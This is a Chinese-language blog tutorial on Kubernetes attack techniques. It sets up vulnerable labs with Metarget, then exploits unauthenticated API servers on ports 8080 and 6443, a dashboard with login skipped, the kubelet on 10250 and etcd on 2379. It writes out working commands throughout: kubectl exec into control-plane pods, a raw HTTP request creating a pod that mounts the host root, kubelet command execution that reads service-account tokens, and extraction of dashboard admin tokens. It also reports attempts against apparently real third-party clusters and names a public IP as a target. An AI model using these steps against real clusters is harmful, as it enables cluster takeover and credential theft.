k8s基础知识

常见的pod状态

img

pod

pod常见的状态
第一阶段
挂起(Pending)
1、正在创建Pod但是Pod中的容器还没有全部被创建完成,处于此状态的Pod应该检查Pod依赖的存储是否有权限挂载、镜像是否可以下载、调度是否正常等
2、我们在请求创建pod时,条件不满足,调度没有完成,没有任何一个节点能满足调度条件,已经创建了pod但是没有适合它运行的节点叫做挂起,调度没有完成。

失败(Failed):Pod 中的所有容器都已终止了,并且至少有一个容器是因为失败终止。也就是说,容器以非0状态退出或者被系统终止。
未知(Unknown):未知状态,所谓pod是什么状态是apiserver和运行在pod节点的kubelet进行通信获取状态信息的,如果节点之上的kubelet本身出故障,那么apiserver就连不上kubelet,得不到信息了,就会看Unknown,通常是由于与pod所在的node节点通信错误。

Error 状态:Pod 启动过程中发生了错误

成功(Succeeded):Pod中的所有容器都被成功终止,即pod里所有的containers均已terminated。

已终止(Terminated) 处于Terminated状态的容器已经开始执行并且或者正常结束或者因为某些原因失败。 如果你使用kubectl来查询包含Terminated状态的容器的 Pod 时, 你会看到容器进入此状态的原因、退出代码以及容器执行期间的起止时间

第二阶段
Unschedulable:Pod不能被调度, scheduler没有匹配到合适的node节点
PodScheduled:pod正处于调度中,在scheduler刚开始调度的时候,还没有将pod分配到指定的node,在筛选出合适的节点后就会更新etcd数据,将pod分配到指定的node
Initialized:所有pod中的初始化容器已经完成了
ImagePullBackOff:Pod所在的node节点下载镜像失败
Running:Pod内部的容器已经被创建并且启动。

扩展:还有其他状态,如下:
Evicted状态:出现这种情况,多见于系统内存或硬盘资源不足,可df-h查看docker存储所在目录的资源使用情况,如果百分比大于85%,就要及时清理下资源,尤其是一些大文件、docker镜像。
CrashLoopBackOff:容器曾经启动了,但可能又异常退出了

k8s-漏洞环境搭建

1
2
3
4
5
6
7
8
9
10
11
#麻省理工大学ubuntu20 源
deb http://mirrors.mit.edu/ubuntu/ focal main restricted universe multiverse
deb-src http://mirrors.mit.edu/ubuntu/ focal main restricted universe multiverse
deb http://mirrors.mit.edu/ubuntu/ focal-security main restricted universe multiverse
deb-src http://mirrors.mit.edu/ubuntu/ focal-security main restricted universe multiverse
deb http://mirrors.mit.edu/ubuntu/ focal-updates main restricted universe multiverse
deb-src http://mirrors.mit.edu/ubuntu/ focal-updates main restricted universe multiverse
deb http://mirrors.mit.edu/ubuntu/ focal-proposed main restricted universe multiverse
deb-src http://mirrors.mit.edu/ubuntu/ focal-proposed main restricted universe multiverse
deb http://mirrors.mit.edu/ubuntu/ focal-backports main restricted universe multiverse
deb-src http://mirrors.mit.edu/ubuntu/ focal-backports main restricted universe multiverse
开源项目metarget

在研究漏洞时,我们经常会发现“环境搭建”这一步骤本身就会占用大量的时间,与之相比,真正测试PoC、ExP的时间可能非常短。由于许多官方镜像在国内的网络环境下并不方便获得,加上云原生组件自身的复杂性,在云原生安全领域,前述问题尤为明显。

与此同时,我们也能看到,开源社区涌现出一些优秀的安全项目,如VulhubVulApps等,将漏洞场景打包成镜像,方便研究人员开箱即用。

然而,这些项目主要针对应用程序漏洞。那么,如果我们需要研究的是Docker、Kubernetes、操作系统内核等底层基础设施自身的漏洞呢?这又回到了前面的环境搭建问题。

我们希望Metarget能够在一定程度上解决这个问题,致力于底层基础设施的脆弱场景自动化构建。在此之上,我们还希望Metarget实现对云原生环境多层次脆弱场景的自动化构建。

安装metarget

官方已经给好了安装方式,简单操作即可,安装k8s之前要先安装docker,傻瓜式操作,一键安装。
这里官方推荐使用ubuntu16或者18,笔者在这里推荐必须用ubuntu18,因为笔者在ubuntu20上研究了两天利用metarget安装k8s都没有成功,中间会出现各种各样的错误。

1
2
3
4
5
6
7
#克隆项目
git clone https://github.com/Metarget/metarget.git
cd metaget/
pip3 install -r requirements.txt
#这里如果没有pip3 先apt install python3-pip
#好像还要装一下curl apt install curl

image-20231227212433818

在安装完依赖后,要先安装一个docker ,不让直接装k8s是不行的。
用metarget 装 很简单./metarget gadget install docker --version 18.03.1
image-20231227212726975

在这其中,我们可以加参数,–verbose显示详细的安装过程,方便调试像这样./metarget gadget install docker --version 18.03.1 --verbose

k8s 一些重要的命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#在本机上查看node
kubectl get node
root@bohemian:~# kubectl get node
NAME STATUS ROLES AGE VERSION
racknerd-6d0a89 Ready master 37h v1.16.6-beta.0

#查看namespace
kubectl get namespace
root@bohemian:~# kubectl get namespace
NAME STATUS AGE
default Active 37h
kube-node-lease Active 37h
kube-public Active 37h
kube-system Active 37h
kubernetes-dashboard Active 95m
metarget Active 24h

#查看某个namespcae下有那些的pod
kubectl get pods -n metarget
root@bohemian:~# kubectl get pods -n metarget
NAME READY STATUS RESTARTS AGE
dvwa-web-86b6ccdc69-7l6n4 1/1 Running 0 24h
thinkphp-5-0-23-rce-web-7bb696c45b-n52pb 1/1 Running 0 24h

#在某个pod上执行命令
kubectl exec -n metarget -it dvwa-web-86b6ccdc69-7l6n4 sh
kubectl exec -n metarget -it dvwa-web-86b6ccdc69-7l6n4 "ls -al"
root@bohemian:~# kubectl exec -n metarget -it dvwa-web-86b6ccdc69-7l6n4 sh
# php -v
PHP 7.0.30-0+deb9u1 (cli) (built: Jun 14 2018 13:50:25) ( NTS )
Copyright (c) 1997-2017 The PHP Group
Zend Engine v3.0.0, Copyright (c) 1998-2017 Zend Technologies
with Zend OPcache v7.0.30-0+deb9u1, Copyright (c) 1999-2017, by Zend Technologies

kubectl exec -n kube-system -it kube-apiserver-racknerd-6d0a89 sh
Api Server 未授权访问(8080和6443)

使用metarget 安装k8s

./metarget gadget install k8s --version=1.16.5

这个时候会出现安装成功,安装成功后,就会默认的启动很多的POD
image-20231228090220104

相应的使用netstat -tulnp会显示映射了很多端口

image-20231228090418847

默认情况,Kubernetes API Server提供HTTP的两个端口:8080,6443

insecure-port: 默认端口8080,在HTTP中没有认证和授权检查。
secure-port :默认端口6443, 认证方式,令牌文件或者客户端证书.

insecure-port 默认在高版本中是不会打开的,secure-port 默认是会打开的,但是访问时存在鉴权

https://ip:6443/ 访问这个6443端口时,如下图403image-20231228090722306

8080端口未授权

cat /etc/kubernetes/manifests/kube-apiserver.yaml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
apiVersion: v1
kind: Pod
metadata:
creationTimestamp: null
labels:
component: kube-apiserver
tier: control-plane
name: kube-apiserver
namespace: kube-system
spec:
containers:
- command:
- kube-apiserver
- --advertise-address=ip
- --allow-privileged=true
- --authorization-mode=Node,RBAC
- --client-ca-file=/etc/kubernetes/pki/ca.crt
- --enable-admission-plugins=NodeRestriction
- --enable-bootstrap-token-auth=true
- --etcd-cafile=/etc/kubernetes/pki/etcd/ca.crt
- --etcd-certfile=/etc/kubernetes/pki/apiserver-etcd-client.crt
- --etcd-keyfile=/etc/kubernetes/pki/apiserver-etcd-client.key
- --etcd-servers=https://127.0.0.1:2379
- --insecure-port=0
- --kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt
- --kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key
- --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname
- --proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt
- --proxy-client-key-file=/etc/kubernetes/pki/front-proxy-client.key
- --requestheader-allowed-names=front-proxy-client
- --requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt
- --requestheader-extra-headers-prefix=X-Remote-Extra-
- --requestheader-group-headers=X-Remote-Group
- --requestheader-username-headers=X-Remote-User
- --secure-port=6443
- --service-account-key-file=/etc/kubernetes/pki/sa.pub
- --service-cluster-ip-range=10.96.0.0/12
- --tls-cert-file=/etc/kubernetes/pki/apiserver.crt
- --tls-private-key-file=/etc/kubernetes/pki/apiserver.key
image: k8s.gcr.io/kube-apiserver:v1.16.5
imagePullPolicy: IfNotPresent
livenessProbe:
failureThreshold: 8
httpGet:
host: ip
path: /healthz
port: 6443
scheme: HTTPS
initialDelaySeconds: 15
timeoutSeconds: 15
name: kube-apiserver
resources:
requests:
cpu: 250m
volumeMounts:
- mountPath: /etc/ssl/certs
name: ca-certs
readOnly: true
- mountPath: /etc/ca-certificates
name: etc-ca-certificates
readOnly: true
- mountPath: /etc/kubernetes/pki
name: k8s-certs
readOnly: true
- mountPath: /usr/local/share/ca-certificates
name: usr-local-share-ca-certificates
readOnly: true
- mountPath: /usr/share/ca-certificates
name: usr-share-ca-certificates
readOnly: true
hostNetwork: true
priorityClassName: system-cluster-critical
volumes:
- hostPath:
path: /etc/ssl/certs
type: DirectoryOrCreate
name: ca-certs
- hostPath:
path: /etc/ca-certificates
type: DirectoryOrCreate
name: etc-ca-certificates
- hostPath:
path: /etc/kubernetes/pki
type: DirectoryOrCreate
name: k8s-certs
- hostPath:
path: /usr/local/share/ca-certificates
type: DirectoryOrCreate
name: usr-local-share-ca-certificates
- hostPath:
path: /usr/share/ca-certificates
type: DirectoryOrCreate
name: usr-share-ca-certificates
status: {}

后可以查看一些配置参数,这个文件是会被实时读取的,改过配置文件后,不需要重启服务

其中未授权端口就是insecure-port端口设置, - --insecure-port=0看了很多文章并没说那个版本以前会默认开启,只说了1.20版本后该选项已无效化,也就是说,1.20版本后,该参数直接没了,如果想启用,需要管理者手动添加。

我们将这里改为8080,并且加上bind-address,保存就会看到开启了8080端口

1
2
- --insecure-port=8080
- --insecure-bind-address=0.0.0.0

image-20231228092959882

image-20231228093032460
这里笔者用http://ip:8080/访问成功

image-20231228093318336

https://ip:8080/ https没有成功

在实战中显示这个并不一定能利用,要显示很长这种才可能利用。

image-20231228112148534

接下来利用,直接在kali中安装kubectl ,apt install kubectl 即可
执行命令查看node,
kubectl -s ip:8080 get node

image-20231228093916392

即可看到服务器上的node

kubectl -s ip:8080 get namespace
image-20231228100247157

kubectl -s ip:8080 get pods -n kube-system

列出某个namespace的pods

image-20231228100514838

kubectl -s ip:8080 --namespace=kube-system exec -it etcd-racknerd-6d0a89 ip a

使用这个命令就可以在某个pod上执行命令了

image-20231228101628094

image-20231228101658311

kubectl -s ip:8080 --namespace=kube-system exec -it etcd-racknerd-6d0a89 sh

笔者在执行交互命令的时候,用bash没有成功,应该是对方的pod环境没有,sh就有了,这样就可以愉快的命令执行了。这些命令看起来和docker命令差不多。

image-20231228101830688

我们也可以使用metarget安装一个dvwa,或者php的rce都可以

1
2
3
4
5
6
7
#这个命令会安装一个dvwa的pod,把这个pod放到metarget(namespace)下面
#但是这命令不会将dvwa的端口暴漏出来
./metarget appv install dvwa

#执行./metarget appv install dvwa --external直接安装dvwa漏洞环境到脆弱的底层基础设施上,并以NodePort形式将端口暴露出来。
#也就是要加个参数--external
./metarget appv install thinkphp-5-0-23-rce --external

笔者在这里搭建了一个dvwa 一个thinkphp的RCE用于测试,暴漏的端口分别是30000和30001

image-20231228104006919

image-20231228104102865

未授权漏洞也是可以看到的

image-20231228104156293

命令总结

1
2
3
4
kubectl -s 27.223.94.14:8080 get node
kubectl -s 27.223.94.14:8080 get namespace
kubectl -s ip:8080 get pods -n metarget
kubectl -s ip:8080 --namespace=kube-system exec -it kube-scheduler-racknerd-6d0a89 bash

在实战中也是可以利用的,

失败的实战

image-20231228111456328

但是在执行命令的时候,试了好几个pod都显示没有空间了,不可思议

image-20231228111621099

还有这种,列pod中,pod是存在的,但是执行的时候显示不存在,不理解,可以pod清空了?

image-20231228112827115

这种没有权限的,这种可以参考这个文章,https://blog.csdn.net/zhuyongru/article/details/114060199
大致意思就是对方开启了RBAC规则,简单的来说就是apiserver没有访问kubelet IPI的权限,这样就403了

image-20231228135913246

成功

image-20231228142255049

6443端口未授权

如果不小心,将”system:anonymous”用户绑定到”cluster-admin”用户组,从而使6443 端口允许匿名用户以管理员权限向集群内部下发指令,
默认访问6443端口会显示image-20231228090722306

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"kind": "Status",
"apiVersion": "v1",
"metadata": {

},
"status": "Failure",
"message": "forbidden: User \"system:anonymous\" cannot get path \"/\"",
"reason": "Forbidden",
"details": {

},
"code": 403
}

根据message的字面意思也很好理解,也就是anonymous不能访问这个path,
这个时候管理员不小心使用了命令,kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous
那么就会导致anonymous可以任意访问了,

https://ip:6443/api/v1/namespaces/default/pods
通过浏览器获取到所有pods,

image-20240102155136747

这个时候就可以利用了,和上面的8080端口未授权利用方式差不多

1
2
3
4
5
6
7

获取到所有node
kubectl --insecure-skip-tls-verify -s https://ip:6443 get node
#获取到所有namespace
kubectl --insecure-skip-tls-verify -s https://ip:6443 get namespace
#获取默认pod,注意这里没有加namespace是默认pod
kubectl --insecure-skip-tls-verify -s https://ip:6443 get pods

这里可以注意到让输入账户密码,随便输即可。

image-20240102161111140

image-20240102161338261

如果在查看namespace的时候发现有dashboard的话,那么说明环境中存在面板,这个时候,我们就可以获取到面板的token,来登录面板。

image-20240102171909311

可以看到有kubernetes-dashboard,输入下面的命令到浏览器中

https://ip:6443/api/v1/namespaces/kubernetes-dashboard/secrets/

经过测试,在其中会有多个pods,带有admin-user-token的应该就是这个pod的token了,拿出来base64一下,不要解jwt,ey开头的值,

image-20240102172332395

image-20240102172520549

如果环境对外映射了面板,那么就可以愉快的登录了。测试环境中好像都是映射到9090端口。
这样就直接托管了整个k8s。

image-20240102172819323

这里会有小伙伴有疑问,上面用kubectl –insecure-skip-tls-verify -s https://ip:6443 -n kube命令打着打着,怎么跳到用浏览器请求了,获取token了。
这里其实是因为,笔者在这里太菜了,上面8080端口的未授权利用可以获取到pods namespace等信息,那便是可以获取到token的,这里提前说一下其实获取token的作用就是登录面板的,下面会说到,在宿主主机上执行kubectl -n kubernetes-dashboard get secret $(kubectl -n kubernetes-dashboard get sa/admin-user -o jsonpath="{.secrets[0].name}") -o go-template="{{.data.token | base64decode}}"
便可获取到token,它是用来登录面板的,那么同理可得,如果6443端口存在未授权,那么这里就可以获取token,笔者在这里试了好多种linux转义,都没有成功,如果有成功的大师傅可以留言,感谢感谢

1
kubectl --insecure-skip-tls-verify -s https://ip:6443 -n kubernetes-dashboard get secret $(kubectl -n kubernetes-dashboard get sa/admpath=\"{.secrets[0].name}\") -o go-template=\"{{.data.token \| base64decode}}\"

image-20240102212933474

这里如果没有k8面板的话,也没有关系,直接使用浏览器创建pods也可行,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
POST /api/v1/namespaces/default/pods HTTP/1.1
Host: ip:6443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 1180

{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-44441\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-44441\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"
},
"name": "test-44441",
"namespace": "default"
},
"spec": {
"containers": [
{
"image": "nginx:1.14.2",
"name": "test-44441",
"volumeMounts": [
{
"mountPath": "/host",
"name": "host"
}
]
}
],
"volumes": [
{
"hostPath": {
"path": "/",
"type": "Directory"
},
"name": "host"
}
]
}
}

回显201就表示创建成功了,

image-20240103094619945

image-20240103094607986

浏览器访问也就可以看到,也可以命令执行

image-20240103094714518

笔者在测试的时候,一开始创建pod会失败,
image-20240103094849583

输入kubectl describe pod test-44441 –namespace default,可以看到相关的报错

image-20240103095034621

显示tomanyrequest,应该是拉取的太快了,

image-20240103095146163

docker官方的说法是没登陆6小时拉去100,登录了之后6小时拉去200。应该是拉去太快了。
在该机器上执行命令kubectl --insecure-skip-tls-verify -s https://ip:6443 --namespace=default exec -it test-44441 bash

image-20240103100033394

感觉在实战中,这种创建pod的操作用不上,因为这里漏洞是未授权,而未授权可以接管整个k8s集群,那么再去创建一个pod起步多此一举。当然也可以用做是一个跳板,或者入口机。

失败的从pod到api server

看了这个大师傅的文章

https://annevi.cn/2020/12/21/%e5%8d%8e%e4%b8%ba%e4%ba%91ctf-cloud%e9%9d%9e%e9%a2%84%e6%9c%9f%e8%a7%a3%e4%b9%8bk8s%e6%b8%97%e9%80%8f%e5%ae%9e%e6%88%98/

大师傅的文章,是打华为云的比赛,在一个pod下面拿到了一个shell,然后从这个pod查看/run/secrets/kubernetes.io/serviceaccount/token文件获取了api-server的token,然后通过这个token 接管整个集群,从而达到了比赛的非预期。
那么思考,这个问题能不能在测试中利用。经过测试是不可以的。也不能说不可以,只能说鉴权不够,师傅的比赛环境,是管理员配置错误所导致的。

分析过程

首先如果我们进去一个pod之后,我们查看这个/run/secrets/kubernetes.io/serviceaccount/token文件,是所有权限都可以查看的,777。
大师傅在打比赛时创建的配置文件如下,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
apiVersion: v1
clusters:
- cluster:
insecure-skip-tls-verify: true
server: https://10.247.0.1
name: cluster-name
contexts:
- context:
cluster: cluster-name
namespace: test
user: admin
name: admin
current-context: admin
kind: Config
preferences: {}
users:
- name: admin
user:
token: eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tbDh4OGIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjZiYTQzN2JkLTlhN2EtNGE0ZS1iZTk2LTkyMjkyMmZhNmZiOCIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.XDrZLt7EeMVlTQbXNzb2rfWgTR4DPvKCpp5SftwtfGVUUdvDIOXgYtQip_lQIVOLvtApYtUpeboAecP8fTSVKwMsOLyNhI5hfy6ZrtTB6dKP0Vrl70pwpEvoSFfoI0Ej_NNPNjY3WXkCW5UG9j9uzDMW28z-crLhoIWknW-ae4oP6BNRBID-L1y3NMyngoXI2aaN9uud9M6Bh__YJi8pVxxg2eX9B4_FdOM8wu9EvfVlya502__xGMCZXXx7aHLx9_yzAPEtxUiI6oECo4HYUtyCJh_axBcNJZmwFTNEWp1DB3QcImBXr9P1qof9H1fAu-z12KLfC4-T3dnKLR9q5w

image-20231228170140604

可以看到配置文件中的权限是admin的,所以,想使用这个pod拿到shell,获取token打apiserver。

这里笔者在测试的时候,似乎这个pod连接不到apiserver,但是apiserver显示的确实是这里

image-20231228170625883

image-20231228170434309

这里比较我们两个的token

1
2
#我的 
eyJhbGciOiJSUzI1NiIsImtpZCI6IkxES1FJRlNRcXVYenlhV0sxSWZrUVlOamxvR0JscTE1NGlmT1YyX1dLdkEifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJtZXRhcmdldCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJkZWZhdWx0LXRva2VuLWpnOW5yIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImRlZmF1bHQiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiI1MGRlOTI3My02ODczLTRiNzgtYjc3OS0yNGUzMTkwZDQzNmQiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6bWV0YXJnZXQ6ZGVmYXVsdCJ9.J07xNTfoXgXgFZCrlznwvA8v9h7_nokBxI4oWgml9x7S4L4UudHEdoQW8K7jBeNumLdMPjZ6bqi2A3e7D1S0iyHlxHbOeC9tigmy_FRTNKYIN5gziDhYvU393CeM8Juw9JcyAgYrigbbewzo61k-5a9EkTLPiHELbzKhrMwJLpuOiOdG2ISOxNGEqGjABOjGAqjzDHuWyM2XyeO5_FlLuQ1RA0nEO69U_Jfw29S5GBBfXZs4QyopsoyiR0ujW4nI3jYAGXIU37JhSsjkUDCRdPjgh4mp4dRRdUD8hH6rhZkTk30bBuc0y2ECwTHTTQd8G-QdooR5yckLwV_3l4Ww-w

image-20231228171126046

大师傅的

image-20231228171159202

可以看到,两者相差不多,且都是system:serviceaccount:default:default”,
这里猜测应该是管理员将将”system:serviceaccount”用户绑定到”cluster-admin”用户组,从而使得非预期存在,也就直接打通了apiserver

image-20231228171410372

获取宿主机权限-通过k8s dashboard,创建特权Pods
正常情况环境搭建

出现改问题的原因是因为在启动dashborad的时候,管理员为了方便,修改了配置,跳过了登录。
首先安装dashborad

1
2
wget https://raw.githubusercontent.com/kubernetes/dashboard/v2.2.0/aio/deploy/recommended.yaml
vim recommended.yaml

下载完成后,不可以直接访问,要起一下
kubectl apply -f recommended.yaml
然后在做映射
kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard 9090:80,
将80端口映射出去,如果不行就映射443
kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard 9090:443

image-20231229093200392

这个时候应该还是访问不到到,因为没在配置文件中把访问ip改掉

1
2
3
4
vim recommended.yaml`后
- -- insecure-bind-address=0.0.0.0
把这个加进去,然后
kubectl apply -f recommended.yaml

image-20231229104337062

root@bohemian:/tools/k8syaml# kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard 9090:443
Forwarding from 127.0.0.1:9090 -> 8443
Forwarding from [::1]:9090 -> 8443

这种方式如果映射不成功的话,可以试试下面这种映射方式
kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard --address 0.0.0.0 9090:443

然后用google访问似乎不行,换成火狐就可以了
这里要注意,yaml的文本是非常严格的,笔者上图中的- -- insecure-bind-address=0.0.0.0是不对的,不要带那个空格,不让可能会出现connection refused

image-20240102103354695

image-20231229104851735

image-20231229104925231

接下来就是创建账号,当然这里也可以使用从webshell获取到的token进行登录。
这里可以注意到,这个账户为admin-user,role为cluster-admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#sudo vim  account.yaml

# Creating a Service Account
apiVersion: v1
kind: ServiceAccount
metadata:
name: admin-user
namespace: kubernetes-dashboard

---
# Creating a ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: admin-user
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: ServiceAccount
name: admin-user
namespace: kubernetes-dashboard
1
2
3
4
5
#应用一下这个文件
kubectl apply -f account.yaml
# 获取token
kubectl -n kubernetes-dashboard get secret $(kubectl -n kubernetes-dashboard get sa/admin-user -o jsonpath="{.secrets[0].name}") -o go-template="{{.data.token | base64decode}}"

image-20231229112518290
image-20240102103656050
即可登录进来。
这里为了方便,我们用./metarget拉一个thinkphp

./metarget appv install thinkphp-5-0-23-rce –external
这样便搭建完成。
这里可以看到,在我们登录的过程中,是没有登录密码的,登录上来需要token,而这个token的获取需要登录到服务器上,这样是很麻烦的。所以管理员可能会在创建面板的时候配置跳过这个面板登录,这就给我们了可乘之机。

skip配置错误环境搭建

其实就是在刚刚的那个配置文件中加一条语句即可
- --enable-skip-login
加完后更新一下配置。

image-20240102105257323

1
2
3
4
#改完配置后加载一下配置
kubectl apply -f recommended.yaml
#转发端口更新一下
kubectl -n kubernetes-dashboard port-rward svc/kubernetes-dashboard --address 0.0.0.0 9090:443

image-20240102105809949

这个时候就会发现有个跳过按钮了,直接点即可。点右上角的加号,创建pod,这里创建的时候报错,
image-20240102110940163

image-20240102111212074

Deploying file has failedroles.rbac.authorization.k8s.io is forbidden: User "system:serviceaccount:kubernetes-dashboard:kubernetes-dashboard" cannot create resource "roles" in API group "rbac.authorization.k8s.io" in the namespace "default"没有权限,
根据这篇大师傅文章发现,还要有一个配置错误才可以
我们在配置文件中另起一行,添加如下内容

image-20240102135205095

这里改完之后也不能控制面板,只能跳过登录上去,在渗透测试实战因为没有权限不似乎起不到什么作用。
我们还是使用token登录吧。登录上来之后就可以管理pods了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
apiVersion: v1
kind: Pod
metadata:
name: myapp
spec:
containers:
- image: nginx:1.14.2
name: container
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /

image-20240103104129876

可以看到defaultnamespace的pods,此时只需要选中pods执行即可进入到shell中

image-20240103104423300

image-20240103104502239

k8s10250端口未授权

默认安装k8s的时候,会自动暴漏10250端口,在这个端口上运行者kubelet,kubelet的作用是在集群中每个节点运行,对容器进行生命周期的管理。运行在集群的每个节点上,负责向 API Server 注册所在的节点
正常情况下,默认访问10250端口会显示404
访问其他路由会显示Unauthorized

image-20240103135639112

image-20240103135702207

如果管理员误将配置信息配置错误,那将会导致直接接管整个k8s集群。
但是如果将/var/lib/kubelet/config.yaml

image-20240103140439505

中的anonymous改为true,那么也就会导致所有的用户访问(啊这,感觉这个漏洞在实战中出现的机率不大,目前还没看出来,管理员改这个的动机是什么。

其他大师傅的文章写了将authorization.mode修改为AlwaysAllow,这里我没有更改也成功了,也有可能是版本问题把,不太清楚了。

image-20240103141133148

改完配置后,要重启一下systemctl restart kubelet
这个时候再用浏览器访问https://ip:10250/runningpods/即可看到所有的pods了
image-20240103141430892

访问这个端口不需要认证,那么就意味着,可以控制其中的pods了。
curl -XPOST -k "https://${IP_ADDRESS}:10250/run/<namespace>/<pod>/<container>" -d "cmd=<command-to-run>"
这个curl命令执行进行,其中需要三个参数,这三个参数可以在/runningpods/中获取,也就是上图
image-20240103141848633

curl -XPOST -k "https://ip:10250/run/default/test-44441/test-44441" -d "cmd=id"

image-20240103142250122

也可以在浏览器中直接打

image-20240103161117043

这样就直接可以命令执行了,curl -XPOST -k "https://ip:10250/run/default/test-44441/test-44441" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"也可以使用这个命令获取该pods的token,但是,这里要注意,这个pods的token默认大概率不会是admin权限。当然这个token也是可以登录面板的。

一个 pod 与一个服务账户相关联,该服务账户的凭证(token)被放入该pod中每个容器的文件系统树,在 /var/run/secrets/kubernetes.io/serviceaccount/token

如果服务账号(Service account )绑定了 cluster-admin (即集群的 admin 权限我们可以对所有namespace下实例进行操作) ,那么我们就可以通过 token 来进行一系列的操作

意外的发现

在/runningpods/路由中,也查看到所有的运行的pods,那其实肯定还有其他的路由。https://www.deepnetwork.com/blog/2020/01/13/kubelet-api.html在这篇文章中列出了所有的api,其中我在logs路由中发现
image-20240103163719181

存在目录遍历,仔细一看会发现,这好像是宿主主机上的/var/log、目录

image-20240103163810417

image-20240103164555309
那么也就是说,k8s在这里直接就映射了宿主主机的目录,并且是可以查看到

https://ip:10250/logs/apache2/![image-20240103164438478](/images/k8s/image-20240103164438478.png)

我还特意装了一个apache的,访问默认日志完全没有问题
image-20240103164711573

k8setcd未授权

在安装完 K8s 后,默认会安装 etcd 组件,etcd 是一个高可用的 key-value 数据库,它为 k8s 集群提供底层数据存储,保存了整个集群的状态。大多数情形下,数据库中的内容没有加密,因此如果黑客拿下 etcd,就意味着能控制整个 K8s 集群。

在 K8s 集群初始化后,etcd 默认就以 pod 的形式存在,可以执行如下命令进行查看,etcd 组件监听的端口为 2379。

为什么会出现etcd未授权

在启动etcd时,如果没有指定 –client-cert-auth 参数打开证书校验,并且把listen-client-urls监听修改为0.0.0.0那么也就意味着这个端口被暴露在外,如果没有通过安全组防火墙的限制,就会造成危害

etcd默认端口2379

ps: 不过在安装k8s之后默认的配置2379都只会监听127.0.0.1,而不会监听0.0.0.0,那么也就意味着最多就是本地访问,不能公网访问。
这里经过研究发现,好像不同的搭建方式,在暴漏端口的时候是不同的,笔者在搭建的时候用的是metarget这个项目,搭建出来,直接就对公网开放,在参考其他大师傅搭建

image-20240104094328343

这里可以看到默认访问2379端口是需要认证的。

image-20240104094105258

漏洞环境搭建

很简单,只需要将etcd的配置文件/etc/kubernetes/manifests/etcd.yaml改一下即
可,此时将–client-cert-auth写入到这个配置文件里面。

image-20240104102215246

但这样我没有成功,
image-20240104143156795

笔者将这里的默认true改为false,不用其他操作,等一会即可,

当访问https://ip:2379/version,的时候出现版本号,说明存在etcd未授权。或者`curl https://ip:2379/version -k`

image-20240104145945782

image-20240104143249101

这个时候就可以使用etcdctl打了,
